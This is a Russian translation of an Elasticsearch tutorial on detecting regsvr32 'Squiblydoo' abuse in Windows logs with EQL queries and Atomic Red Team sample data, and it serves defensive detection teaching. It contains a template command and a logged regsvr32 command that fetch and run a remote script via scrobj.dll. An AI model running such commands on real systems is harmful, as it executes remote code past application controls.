Пример: Обнаружение угроз с помощью EQL
В этом учебном примере показано, как использовать EQL для обнаружения угроз безопасности и другого подозрительного поведения. В сценарии вам необходимо обнаружить злоупотребление regsvr32 в журналах событий Windows.
regsvr32.exe — это встроенная командная утилита, используемая для регистрации .dll библиотек в Windows. Как утилита, regsvr32.exe имеет статус доверия, позволяющий ей обойти большинство программ контроля доступа и блокировщиков скриптов. Злоумышленники с доступом к командной строке пользователя могут использовать regsvr32.exe для запуска вредоносных скриптов через .dll библиотеки, даже на машинах, которые обычно запрещают такие скрипты.
Один из распространённых вариантов злоупотребления regsvr32 — это атака Squiblydoo. При атаке Squiblydoo, команда regsvr32.exe использует библиотеку scrobj.dll для регистрации и запуска удалённого скрипта. Эти команды часто выглядят так:
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
Настройка
В этом руководстве используется тестовый набор данных из Atomic Red Team, который включает события, имитирующие атаку Squiblydoo. Данные были сопоставлены с полями Elastic Common Schema (ECS).
Для начала:
-
Создайте шаблон индекса шаблон индекса с активированной передачей данных:
PUT /_index_template/my-data-stream-template { "index_patterns": [ "my-data-stream*" ], "data_stream": { }, "priority": 500 } - Скачайте
normalized-T1117-AtomicRed-regsvr32.json. -
Используйте API массовой загрузки для индексации данных в соответствующий поток:
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
-
Используйте API cat indices для проверки индексации данных:
GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
Ответ должен отобразить
docs.countиз150.health status index docs.count yellow open .ds-my-data-stream-2099.12.07-000001 150
Получение количества событий regsvr32
Сначала получите количество событий, связанных с процессом regsvr32.exe:
GET /my-data-stream/_eql/search?filter_path=-hits.events
{
"query": """
any where process.name == "regsvr32.exe"
""",
"size": 200
} |
| |
| Сопоставляет любое событие с | |
| Возвращает до 200 совпадений для сопоставленных событий. |
Ответ возвращает 143 связанных события.
{
"is_partial": false,
"is_running": false,
"took": 60,
"timed_out": false,
"hits": {
"total": {
"value": 143,
"relation": "eq"
}
}
} Проверка артефактов командной строки
Процессы regsvr32.exe были связаны с 143 событиями. Но как regsvr32.exe был вызван в первый раз? И кто его вызвал? regsvr32.exe — это утилита командной строки. Сузьте результаты до процессов, где использовалась командная строка:
GET /my-data-stream/_eql/search
{
"query": """
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
"""
} Запрос сопоставляет одно событие со значением event.type равным creation, что указывает на запуск процесса regsvr32.exe. Основываясь на значении поля process.command_line события, regsvr32.exe использовал scrobj.dll для регистрации скрипта RegSvr32.sct. Это соответствует поведению атаки Squiblydoo.
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
}
]
}
} Проверка загрузки вредоносных скриптов
Проверьте, загружала ли regsvr32.exe библиотеку scrobj.dll позже:
GET /my-data-stream/_eql/search
{
"query": """
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
"""
} Запрос сопоставляет событие, подтверждая загрузку scrobj.dll.
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
}
]
}
} Определение вероятности успеха
Во многих случаях злоумышленники используют вредоносные скрипты для подключения к удалённым серверам или загрузки других файлов. Используйте запрос EQL с последовательностями для проверки следующей серии событий:
- Процесс
regsvr32.exe - Загрузка библиотеки
scrobj.dllтем же процессом - Любое сетевое событие тем же процессом
Основываясь на значении командной строки, увиденном в предыдущем ответе, вы можете ожидать совпадения. Однако этот запрос не предназначен для этой конкретной команды. Вместо этого он ищет шаблон подозрительного поведения, достаточно общий для обнаружения подобных угроз.
GET /my-data-stream/_eql/search
{
"query": """
sequence by process.pid
[process where process.name == "regsvr32.exe"]
[library where dll.name == "scrobj.dll"]
[network where true]
"""
} Запрос сопоставляет последовательность, указывая на то, что атака, вероятно, удалась.
{
...
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"sequences": [
{
"join_keys": [
2012
],
"events": [
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
},
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
},
{
"_index": ".ds-my-data-stream-2099.12.07-000001",
"_id": "EF5MJXMBMk1dGnErnBa9",
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573238680000,
"destination": {
"address": "151.101.48.133",
"port": "443"
},
"source": {
"address": "192.168.162.134",
"port": "50505"
},
"event": {
"category": "network"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
},
"network": {
"protocol": "tcp",
"direction": "outbound"
}
}
}
]
}
]
}
}
© 2023-2025 Elasticsearch
As of September 2024, Elasticsearch is available under a choice of three licenses: the Server Side Public License (SSPL), the Elastic License, or the AGPLv3 (OSI approved).
Elasticsearch and the Elasticsearch logo are trademarks of Elasticsearch B.V., registered in the U.S. and in other countries.
https://www.elastic.co/guide/en/elasticsearch/reference/7.17/eql-ex-threat-detection.html